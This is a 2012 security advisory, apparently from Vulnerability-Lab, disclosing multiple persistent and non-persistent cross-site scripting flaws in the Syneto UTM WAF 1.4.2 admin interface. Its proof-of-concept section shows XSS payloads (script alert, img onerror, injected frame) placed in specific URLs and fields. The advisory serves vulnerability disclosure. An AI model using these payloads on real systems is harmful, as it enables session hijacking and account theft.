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Syneto UTM WAF 1.4.2 Cross Site Scripting

Syneto UTM WAF 1.4.2 Cross Site Scripting
Posted Jan 20, 2012
Authored by Benjamin Kunz Mejri, Alexander Fuchs, longrifle0x | Site vulnerability-lab.com

Syneto UTM WAF version 1.4.2 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 85482d4f48445334d6ac8d7cc766a567

Syneto UTM WAF 1.4.2 Cross Site Scripting

Change Mirror Download
Syneto UTM WAF v1.4.2 - Multiple Web Vulnerabilities




The Syneto UTM (Unified Threat Management) is a security appliance that performs multiple functions and delivers
maximum protection against internet threats. It s a single device that has it all: firewall, gateway antivirus
and anti-spam, VPN, content filter, multiple gateways and on-appliance reporting. Syneto UTM was specifically
designed to easily be deployed and managed, supply top protection and save you money.

(Copy of the Vendor Homepage: http://syneto.net/en/network-security/utm)

A Vulnerability-Lab researcher discovered multiple web vulnerabilities on Synetos Security UTM Application v1.4.x & v1.3.3 CE.

2011-10-07: Vendor Notification
2012-**-**: Vendor Response/Feedback
2012-**-**: Vendor Fix/Patch
2012-01-20: Public or Non-Public Disclosure




Multiple persistent web vulnerabilities are detected on the Syneto Unified Threat Management Security Appliance Application.
The vulnerability allows an privileged user account to inject malicious persistent script code on application side(server).
Successful exploitation of the vulnerability can result in account steal, persistent session hijacking via script code inject,
persistent external redirects, persistent context manipulation on requests & persistent phishing.

Vulnerable Module(s):
[+] Reports => Executive Summery => Name Input Fields & Output Listing Category
[+] EMail => Filter Add or Configure Edit
[+] EMail => Add Blacklist Rule & Add Whitelist Rule
[+] EMail Settings - New Domain


Multiple non-persistent cross site scripting vulnerabilities are detected on the Syneto Unified Threat Management Security
Appliance Application. The vulnerability allows remote attacker to hijack customer/admin sessions via client side cross site
scripting requests. Successful exploitation requires user inter action & results in account steal via session hijacking.

Vulnerable Module(s):
[+] Index - Exception Handling via Errors
[+] Index - Info Requests

Affected Version(s):
[+] Synetos Security UTM Application v1.4.x & v1.3.3 Community Edition

Proof of Concept:
The vulnerabilities can be exploited by privileged user accounts, lowviewers or remote attackers with required user inter action.
For demonstration or reproduce ...


[+] Reports - Executive Summery - Output Listing Category

<tr id="list_1" class="tableRowEven">
<td class="status" valign="top" align="center">
<a href="#" title="Disable the reporting list" class="disableList"><img src="img/enabled.gif"
title="disable" alt="disable" class="disable"></a>
<a style="display: none;" href="#" title="Enable the reporting list" class="enableList">
<img src="img/disabled.gif" title="enable" alt="enable" class="enable"></a>
<td valign="top"> "><EXECUTION OF PERSISTENT SCRIPT CODE!>' <<="" td="">
<td valign="top" nowrap="nowrap">
<a href="#" id="list_1" class="editList"><img src="img/edit.gif" title="Edit" alt="Edit"
<a href="syneto.php?menuid=307&action=delete&id=1" class="deleteList"><
;img src="img/delete.gif" title="Delete" alt="Delete" /></a>

https://[SYNETO UTM SERVER].com/syneto.php?menuid=307

[+] EMail - Filter Add & Configure

<div>Sender = >"<EXECUTION OF PERSISTENT SCRIPT CODE!">.*</div> <div>Receiver = .*</div>
<div>Subject = .*(SPAM|VIAGRA).*</div>

https://[SYNETO UTM SERVER].com/syneto.php?menuid=63

[+] EMail Settings - New Domain

<table class="data" id="smtpDomainsList">
<th class="status">Status</th>
<th class="domain">Domain</th>
<th class="routing">Routing</th>
<th class="verify_sender">Verify sender</th>
<th class="qdm">Send digest</th>
<th class="actions">Actions</th>

<tr id="domain_3" class="tableRowEven editableDomain "><EXECUTION OF PERSISTENT SCRIPt CODE!><td class="status">
<input name="active" value="1" type="hidden">
<input name="qdm_enabled" value="" type="hidden">
<input name="qdm_hours" value="23" type="hidden">
<input name="admin_email" value=""><script>EXECUTION OF PERSISTENT SCRIPt CODE!</script>" type="hidden">
<input name="verify_peer" value="" type="hidden">
<input name="prefix_digest_links" value="" type="hidden"><EXECUTION OF PERSISTENT SCRIPT CODE!>" />

<input name="verify_sender" value="" type="hidden">
<input name="verify_sender_network_name" value="" type="hidden"><input name="qdm_exceptions" value="" type="hidden">
<input name="whitelist" value="" type="hidden">
<input name="blacklist" value="" type="hidden"><img class="clickable tooltip" title="" src="img/enabled.gif">
<td class="domain">"><script>alert(vulnerabilitylab)</script></td>

https://[SYNETO UTM SERVER].com/syneto.php?menuid=60


https://[SYNETO UTM SERVER].com/index.php?error=need_login"'><frame src=http://www.vulnerability-lab.com><hr>&from_menu=238
https://[SYNETO UTM SERVER].com/index.php?info=%3Cimg%20src=%22%3Cimg%20src=search%22/onerror=alert(%22vulnerabilitylab%22)//%22%3E

https://[SYNETO UTM SERVER].com/index.php?error=need_login"'>EXECUTION OF PERSISTENT SCRIPT CODE!<hr>&from_menu=238

PoC Reference(s):
../Noname Syneto UTM.html

The security risk of the persistent web vulnerabilities are estimated as high(-).

The security risk of the non-persistent cross site scripting vulnerabilities are estimated as low(+).

Vulnerability Research Laboratory - Alexander Fuchs (F0x23) ; Ucha G. (logrifle0x) & Benjamin Kunz Mejri (Rem0ve)

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012|Vulnerability-Lab

Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com


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